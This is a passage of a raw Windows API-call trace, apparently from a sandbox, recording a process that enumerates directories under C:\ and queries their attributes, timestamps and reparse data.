[0035.437] NtClose (Handle=0x180) returned 0x0 [0035.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0035.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0035.437] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0035.438] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.438] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.438] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.438] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.438] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85f08 [0035.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c2f8 [0035.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.439] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.439] GetLastError () returned 0x12 [0035.439] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0035.439] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.439] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.442] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.442] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.442] GetLastError () returned 0x12 [0035.444] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0035.444] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0035.444] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0035.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.445] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0035.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.447] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.449] CreateFileW (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0035.449] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0035.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.449] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0035.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.449] NtClose (Handle=0x148) returned 0x0 [0035.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0035.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0035.450] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0035.450] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.450] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.450] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.450] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85f28 [0035.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c380 [0035.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.453] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.453] GetLastError () returned 0x12 [0035.453] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0035.453] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.455] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.455] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.455] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.455] GetLastError () returned 0x12 [0035.455] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0035.455] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0035.456] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0035.456] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.456] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0035.456] GetLastError () returned 0x12 [0035.456] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f720) returned 1 [0035.457] FindClose (in: hFindFile=0x603778 | out: hFindFile=0x603778) returned 1 [0035.457] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f7a8) returned 1 [0035.457] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0035.457] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0035.457] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0035.457] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0035.457] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0035.457] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x174f930 | out: lpFileInformation=0x174f930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.459] CreateFileW (lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0035.459] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f974, lpLastWriteTime=0x174f974) returned 0 [0035.459] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.459] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f9cc, lpOverlapped=0x0) returned 0 [0035.459] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.459] NtClose (Handle=0x17c) returned 0x0 [0035.459] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0035.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0035.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f7a8 [0035.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f720 [0035.462] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x603778 [0035.462] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.471] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0035.471] GetLastError () returned 0x12 [0035.471] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x60b670 [0035.471] FindClose (in: hFindFile=0x603778 | out: hFindFile=0x603778) returned 1 [0035.471] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.471] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0035.473] GetLastError () returned 0x12 [0035.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f720) returned 1 [0035.473] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f7a8) returned 1 [0035.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0035.473] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0035.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0035.473] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0x174f930 | out: lpFileInformation=0x174f930*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.477] CreateFileW (lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0035.477] GetLastError () returned 0x5 [0035.477] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0035.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0035.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f7a8 [0035.478] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f720 [0035.478] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0xffffffff [0035.479] GetLastError () returned 0x5 [0035.479] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0xffffffff [0035.479] GetLastError () returned 0x5 [0035.479] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f720) returned 1 [0035.479] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f7a8) returned 1 [0035.487] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0035.487] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0035.487] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0035.487] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0035.487] GetFileAttributesExW (in: lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), fInfoLevelId=0x0, lpFileInformation=0x174f930 | out: lpFileInformation=0x174f930*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.488] CreateFileW (lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0035.489] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f974, lpLastWriteTime=0x174f974) returned 0 [0035.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.489] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f9cc, lpOverlapped=0x0) returned 0 [0035.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.489] NtClose (Handle=0x180) returned 0x0 [0035.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0035.489] RtlAllocateHeap (HeapHandle=0xf70000, 